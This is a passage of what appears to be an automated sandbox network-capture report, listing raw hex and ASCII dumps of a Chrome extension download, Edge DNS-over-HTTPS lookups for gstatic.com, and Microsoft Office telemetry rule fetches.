2024-10-28 17:43:29 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY3xARKTCG9npS6KjJmNlXjFIkvfK41-K9fS6G7w6g1_ptnYYPP9lMHFtV9AQ24kb3pdJqF-ZWBTEQ X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sun, 27 Oct 2024 20:33:29 GMT Expires: Mon, 27 Oct 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 76200 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-28 17:43:29 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-10-28 17:43:29 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-10-28 17:43:29 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-10-28 17:43:29 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-10-28 17:43:29 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-10-28 17:43:29 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-10-28 17:43:29 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-10-28 17:43:29 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-10-28 17:43:29 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-10-28 17:43:29 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	63514	172.64.41.3	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-28 17:43:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-28 17:43:30 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 28 Oct 2024 17:43:30 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8d9cba7edc20e5f2-DFW alt-svc: h3=":443"; ma=86400
2024-10-28 17:43:30 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e5 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	63509	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:30 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:30 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: baee9024-801e-00ac-4757-29fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174330Z-17c5cb586f6gkqkwd0x1ge8t0400000005vg000000000mc2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	63515	172.64.41.3	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-28 17:43:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-28 17:43:30 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 28 Oct 2024 17:43:30 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8d9cba7f1b44e796-DFW alt-svc: h3=":443"; ma=86400
2024-10-28 17:43:30 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 b6 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	63508	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:30 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174330Z-16849878b78bjkl8dpep89pbgg0000000440000000004rxc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	63516	172.64.41.3	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-28 17:43:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-28 17:43:30 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 28 Oct 2024 17:43:30 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8d9cba7f2eca6bbc-DFW alt-svc: h3=":443"; ma=86400
2024-10-28 17:43:30 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 cb 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	63510	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:30 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:30 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174330Z-16849878b7898p5f6vryaqvp580000000670000000007x6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
